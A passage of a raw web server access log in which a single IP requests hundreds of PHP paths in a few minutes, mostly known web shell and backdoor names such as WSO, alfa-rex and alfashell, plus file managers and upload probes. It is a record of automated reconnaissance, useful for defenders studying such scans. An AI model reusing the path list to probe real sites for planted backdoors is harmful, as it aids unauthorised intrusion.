"-" "-" 52.164.127.136 - - [23/Apr/2025:05:40:19 -0400] "GET /1.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:40:21 -0400] "GET /1.php7 HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:40:21 -0400] "GET /1.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:40:24 -0400] "GET /100.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:40:27 -0400] "GET /11index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:40:27 -0400] "GET /12.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:40:29 -0400] "GET /123.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:40:30 -0400] "GET /12wudscz.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:40:32 -0400] "GET /13.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:40:33 -0400] "GET /1xm.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:40:33 -0400] "GET /2.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:40:35 -0400] "GET /22.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:40:36 -0400] "GET /22.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:40:38 -0400] "GET /24.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:40:39 -0400] "GET /2index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:40:41 -0400] "GET /3index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:40:42 -0400] "GET /403.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:40:44 -0400] "GET /404.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:40:47 -0400] "GET /4Oj8Ed6N1tu.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:40:50 -0400] "GET /4Q.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:40:51 -0400] "GET /6.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:40:53 -0400] "GET /7.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:40:54 -0400] "GET /WSO.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:40:55 -0400] "GET /a.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:40:57 -0400] "GET /a.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:40:57 -0400] "GET /aa.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:40:57 -0400] "GET /aaa.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:40:58 -0400] "GET /ab.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:40:59 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:41:00 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:41:01 -0400] "GET /about.php?525 HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:41:02 -0400] "GET /about.php?dir=/home/prsvnvn/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:41:03 -0400] "GET /about.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:41:03 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:41:04 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:41:05 -0400] "GET /about/function.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:41:06 -0400] "GET /access.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:41:07 -0400] "GET /admin HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:41:10 -0400] "GET /admin-footer.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:41:11 -0400] "GET /admin-post.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:41:13 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:41:14 -0400] "GET /admin.php/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:41:15 -0400] "GET /admin.php7 HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:41:17 -0400] "GET /admin.php?attempt=1 HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:41:18 -0400] "GET /admin.php?debug=on&cmd=upload HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:41:19 -0400] "GET /admin.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:41:21 -0400] "GET /admin/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:41:23 -0400] "GET /admin//function.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:41:26 -0400] "GET /admin/admin.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:41:28 -0400] "GET /admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:41:31 -0400] "GET /admin/controller/extension/extension/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:41:32 -0400] "GET /admin/controller/extension/extension/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:41:35 -0400] "GET /admin/controller/extension/extension/ultra.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:41:37 -0400] "GET /admin/editor/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:41:38 -0400] "GET /admin/fckeditor/editor/filemanager/updates.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:41:39 -0400] "GET /admin/function.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:41:40 -0400] "GET /admin/function.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:41:42 -0400] "GET /admin/index_upload.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:41:43 -0400] "GET /admin/upload/css.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:41:44 -0400] "GET /admin/upload/themes-install.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:41:47 -0400] "GET /admin2.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:41:48 -0400] "GET /admin_logs.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:41:50 -0400] "GET /adminer.php?db=stealth HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:41:52 -0400] "GET /adminfuns.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:41:53 -0400] "GET /administrator/templates/bluestork/error.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:41:54 -0400] "GET /administrator/templates/hathor/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:41:55 -0400] "GET /administrator/templates/isis/error.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:41:57 -0400] "GET /al.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:41:57 -0400] "GET /alf.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:41:58 -0400] "GET /alfa-rex.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:41:59 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:42:00 -0400] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:42:00 -0400] "GET /alfanew.PHP7 HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:42:01 -0400] "GET /alfanew.PhP7 HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:42:01 -0400] "GET /alfanew.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:42:02 -0400] "GET /alfanew.php7 HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:42:02 -0400] "GET /alfanew2.php7 HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:42:03 -0400] "GET /alfashell.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:42:04 -0400] "GET /ans.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:42:06 -0400] "GET /api.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:42:07 -0400] "GET /api/.config.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:42:08 -0400] "GET /app/wp-content/plugins/fix/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:42:09 -0400] "GET /as.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:42:10 -0400] "GET /as/function.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:42:12 -0400] "GET /asasx.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:42:13 -0400] "GET /aspeV9cCZPQ.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:42:13 -0400] "GET /assets/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:42:14 -0400] "GET /assets/css/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:42:16 -0400] "GET /assets/images/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:42:17 -0400] "GET /assets/images//NOFmvAjT.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:42:19 -0400] "GET /assets/images//niil.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:42:20 -0400] "GET /assets/images//scan.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:42:23 -0400] "GET /assets/images/1741753877buyyx.php7 HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:42:25 -0400] "GET /assets/images/28c5400b0b.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:42:27 -0400] "GET /assets/images/doc.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:42:28 -0400] "GET /assets/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:42:29 -0400] "GET /assets/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:42:32 -0400] "GET /assets/vendor/bootstrap/css/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:42:34 -0400] "GET /assets/xp.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:42:36 -0400] "GET /atomlib.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:42:37 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:42:38 -0400] "GET /autoload_classmap.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:42:38 -0400] "GET /avaa.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:42:40 -0400] "GET /b.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:42:40 -0400] "GET /b0.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:42:41 -0400] "GET /bQmw.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:42:42 -0400] "GET /backup.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:42:42 -0400] "GET /baindex.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:42:43 -0400] "GET /bak.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:42:44 -0400] "GET /bala.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:42:44 -0400] "GET /baxa1.phP8 HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:42:45 -0400] "GET /bb.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:42:47 -0400] "GET /ben.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:42:48 -0400] "GET /bitrix/admin/htmleditor2/natural.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:42:49 -0400] "GET /blog.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:42:49 -0400] "GET /blog/fw.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:42:50 -0400] "GET /blog/wp-includes/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:42:53 -0400] "GET /bob.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:42:55 -0400] "GET /brU.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:42:57 -0400] "GET /browse.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:42:57 -0400] "GET /bs1.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:42:58 -0400] "GET /bs1.php?d=2f7777772f3030396437 HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:42:59 -0400] "GET /buy.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:42:59 -0400] "GET /buy.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:42:59 -0400] "GET /byp.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:43:00 -0400] "GET /bypass.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:43:01 -0400] "GET /c.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:43:02 -0400] "GET /cZkmtUnJVfi.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:43:02 -0400] "GET /cache/b/c/e/b/mdtcshwavxn.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:43:03 -0400] "GET /cache/d/d/b/d/zwdlhkfyupn.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:43:03 -0400] "GET /cache/d/h/d/f/ukstnfjlbov.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:43:04 -0400] "GET /cache/e/e/e/b/abkiszpjdfx.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:43:04 -0400] "GET /cache/g/a/d/b/qtrxajmpgek.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:43:04 -0400] "GET /cache/g/c/h/b/tfuoqlvyakp.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:43:05 -0400] "GET /cc.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:43:05 -0400] "GET /cd.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:43:06 -0400] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:43:06 -0400] "GET /cgi-bin/about.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:43:07 -0400] "GET /cgi-bin/admin.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:43:07 -0400] "GET /cgi-bin/b.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:43:08 -0400] "GET /cgi-bin/bak.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:43:08 -0400] "GET /cgi-bin/cgi-bin/about.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:43:09 -0400] "GET /cgi-bin/cloud.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:43:09 -0400] "GET /cgi-bin/file.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:43:09 -0400] "GET /cgi-bin/head.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:43:10 -0400] "GET /cgi-bin/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:43:11 -0400] "GET /cgi-bin/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:43:12 -0400] "GET /cgi-bin/index.php?p=&upload HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:43:14 -0400] "GET /cgi-bin/moon.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:43:14 -0400] "GET /cgi-bin/users.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:43:14 -0400] "GET /cgi-bin/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:43:15 -0400] "GET /cgi-bin/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:43:16 -0400] "GET /chosen HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:43:17 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:43:17 -0400] "GET /chosen.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:43:18 -0400] "GET /chosen/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:43:18 -0400] "GET /chosen?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:43:19 -0400] "GET /cjfuns.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:43:19 -0400] "GET /class-php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:43:20 -0400] "GET /class-wp-lock.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:43:20 -0400] "GET /class.api.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:43:21 -0400] "GET /class.api.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:43:21 -0400] "GET /classsmtps.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:43:22 -0400] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:43:22 -0400] "GET /classwithtostring.php/rbzccnnp.php/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:43:23 -0400] "GET /classwithtostring.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:43:23 -0400] "GET /click.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:43:24 -0400] "GET /click.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:43:24 -0400] "GET /cloud.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:43:24 -0400] "GET /cms.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:43:25 -0400] "GET /comment.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:43:25 -0400] "GET /components/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:43:26 -0400] "GET /conf_upload.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:43:26 -0400] "GET /config.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:43:27 -0400] "GET /config.php7 HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:43:27 -0400] "GET /configs.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:43:27 -0400] "GET /cong.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:43:28 -0400] "GET /cong.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:43:29 -0400] "GET /contact.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:43:29 -0400] "GET /contacts.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:43:30 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:43:30 -0400] "GET /content.php888 HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:43:32 -0400] "GET /cpouchon/ORTHOSKIM HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:43:32 -0400] "GET /css.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:43:34 -0400] "GET /css.php/cloud.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:43:34 -0400] "GET /css.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:43:35 -0400] "GET /css/.tmp/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:43:35 -0400] "GET /css/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:43:37 -0400] "GET /css/admin.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:43:38 -0400] "GET /css/cloud.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:43:38 -0400] "GET /css/cong.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:43:39 -0400] "GET /css/default.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:43:39 -0400] "GET /css/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:43:41 -0400] "GET /css/nop.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:43:42 -0400] "GET /css/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:43:42 -0400] "GET /csv.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:43:43 -0400] "GET /custom-background.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:43:44 -0400] "GET /cux.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:43:45 -0400] "GET /d.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:43:46 -0400] "GET /d8Q4AflCtoJ.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:43:47 -0400] "GET /data.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:43:48 -0400] "GET /data/.backup.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:43:49 -0400] "GET /db.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:43:50 -0400] "GET /defaul1.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:43:50 -0400] "GET /default.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:43:52 -0400] "GET /defaults.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:43:52 -0400] "GET /dg6Umx2OrVh.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:43:53 -0400] "GET /doc.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:43:54 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:43:55 -0400] "GET /dropdown.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:43:56 -0400] "GET /ds.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:43:57 -0400] "GET /e.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:43:57 -0400] "GET /eVhyNnBmDl4.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:43:58 -0400] "GET /ecoraiderusa.com/cong.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:43:59 -0400] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:43:59 -0400] "GET /edit.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:44:00 -0400] "GET /ee.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:44:01 -0400] "GET /epinyins.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:44:01 -0400] "GET /erin1.PhP7 HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:44:02 -0400] "GET /error.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:44:03 -0400] "GET /error.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:44:04 -0400] "GET /es-ar//wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:44:05 -0400] "GET /exploits7.my.id HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:44:07 -0400] "GET /f.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:44:08 -0400] "GET /f35.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:44:08 -0400] "GET /f8P2t5IOcAq.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:44:09 -0400] "GET /favicon.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:44:11 -0400] "GET /feed/atom/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:44:12 -0400] "GET /fex.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:44:12 -0400] "GET /file-manager.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:44:14 -0400] "GET /file.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:44:14 -0400] "GET /file.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:44:15 -0400] "GET /file2.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:44:16 -0400] "GET /filemanager.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:44:17 -0400] "GET /filemanager.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:44:17 -0400] "GET /filemanager/dialog.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:44:18 -0400] "GET /files.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:44:18 -0400] "GET /files/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [23/Apr/2025:05:44:19 -0400] "GET /files//tinyfilemanager.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - 